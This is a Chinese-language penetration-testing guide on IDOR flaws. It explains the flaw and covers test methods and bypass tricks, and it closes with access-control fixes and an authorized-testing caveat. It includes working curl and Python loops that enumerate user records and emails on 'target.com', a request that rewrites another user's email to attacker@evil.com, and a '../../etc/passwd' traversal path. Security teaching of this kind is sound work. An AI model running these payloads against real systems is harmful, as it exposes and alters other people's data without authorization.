IDOR不安全的直接对象引用测试
概述
IDOR(Insecure Direct Object Reference)是一种访问控制漏洞,当应用程序直接使用用户提供的输入来访问资源,而未验证用户是否有权限访问该资源时发生。本技能提供IDOR漏洞的检测、利用和防护方法。
漏洞原理
应用程序使用可预测的标识符(如ID、文件名)直接引用资源,未验证当前用户是否有权限访问该资源。
危险代码示例:
php
// 直接使用用户输入的ID
$file = file_get_contents('/files/' . $_GET['id'] . '.pdf');
测试方法
1. 识别直接对象引用
常见资源类型:
- •用户ID
- •文件ID/文件名
- •订单ID
- •文档ID
- •账户ID
- •记录ID
常见位置:
- •URL参数
- •POST数据
- •Cookie值
- •HTTP头
- •文件路径
2. 枚举测试
顺序ID测试:
code
/user?id=1 /user?id=2 /user?id=3
UUID测试:
code
/user?id=550e8400-e29b-41d4-a716-446655440000 /user?id=550e8400-e29b-41d4-a716-446655440001
文件名测试:
code
/files/document1.pdf /files/document2.pdf /files/invoice_2024_001.pdf
3. 水平权限测试
访问其他用户资源:
code
当前用户ID: 100 测试: /user?id=101 测试: /user?id=102
访问其他用户文件:
code
/files/user100_document.pdf 测试: /files/user101_document.pdf
4. 垂直权限测试
普通用户访问管理员资源:
code
/admin/users?id=1 /admin/settings /admin/logs
利用技术
用户信息泄露
枚举用户资料:
bash
# 顺序枚举
for i in {1..1000}; do
curl "https://target.com/user?id=$i"
done
# 观察响应差异
文件访问
访问其他用户文件:
code
/files/invoice_12345.pdf /files/report_67890.pdf /files/contract_11111.pdf
目录遍历结合:
code
/files/../admin/config.php /files/../../etc/passwd
数据修改
修改其他用户数据:
http
POST /api/user/update
Content-Type: application/json
{
"id": 101,
"email": "attacker@evil.com"
}
批量操作
批量获取数据:
python
import requests
for user_id in range(1, 1000):
response = requests.get(f'https://target.com/api/user/{user_id}')
if response.status_code == 200:
print(f"User {user_id}: {response.json()}")
绕过技术
ID混淆
Base64编码:
code
原始ID: 123 编码: MTIz URL: /user?id=MTIz
哈希值:
code
原始ID: 123 哈希: 202cb962ac59075b964b07152d234b70 URL: /user?id=202cb962ac59075b964b07152d234b70
参数名混淆
使用不同参数名:
code
/user?id=123 /user?uid=123 /user?user_id=123 /user?account=123
HTTP方法绕过
尝试不同HTTP方法:
code
GET /user/123 POST /user/123 PUT /user/123 PATCH /user/123
路径混淆
尝试不同路径:
code
/api/v1/user/123 /api/user/123 /user/123 /users/123
工具使用
Burp Suite
使用Intruder:
- •拦截请求
- •发送到Intruder
- •标记ID参数
- •使用数字序列或自定义列表
- •观察响应差异
使用Repeater:
- •手动修改ID
- •测试不同值
- •观察响应
OWASP ZAP
bash
# 使用ZAP进行IDOR扫描 zap-cli active-scan --scanners all http://target.com
Python脚本
python
import requests
import json
def test_idor(base_url, user_id_range):
for user_id in user_id_range:
url = f"{base_url}/user?id={user_id}"
response = requests.get(url)
if response.status_code == 200:
data = response.json()
print(f"User {user_id}: {data.get('email', 'N/A')}")
test_idor("https://target.com", range(1, 100))
验证和报告
验证步骤
- •确认可以访问未授权的资源
- •验证可以读取、修改或删除其他用户数据
- •评估影响(数据泄露、隐私侵犯等)
- •记录完整的POC
报告要点
- •漏洞位置和资源标识符
- •可访问的未授权资源
- •完整的利用步骤和PoC
- •修复建议(访问控制、资源映射等)
防护措施
推荐方案
- •
访问控制验证
pythondef get_user_data(user_id, current_user_id): # 验证权限 if user_id != current_user_id: raise PermissionDenied("Cannot access other user's data") # 返回数据 return db.get_user(user_id) - •
间接对象引用
python# 使用映射表 user_mapping = { 'abc123': 100, 'def456': 101, 'ghi789': 102 } def get_user(mapped_id): real_id = user_mapping.get(mapped_id) if not real_id: raise NotFound() return db.get_user(real_id) - •
基于角色的访问控制
pythondef check_permission(user, resource): if user.role == 'admin': return True if resource.owner_id == user.id: return True return False - •
资源所有权验证
pythondef update_user_data(user_id, data, current_user): user = db.get_user(user_id) # 验证所有权 if user.id != current_user.id and current_user.role != 'admin': raise PermissionDenied() # 更新数据 db.update_user(user_id, data) - •
使用不可预测的标识符
pythonimport uuid # 使用UUID替代顺序ID resource_id = str(uuid.uuid4())
- •
最小权限原则
- •只返回用户有权限访问的数据
- •使用数据过滤
- •限制可访问的资源范围
注意事项
- •仅在授权测试环境中进行
- •避免访问或修改真实用户数据
- •注意不同资源的访问控制差异
- •测试时注意请求频率,避免触发防护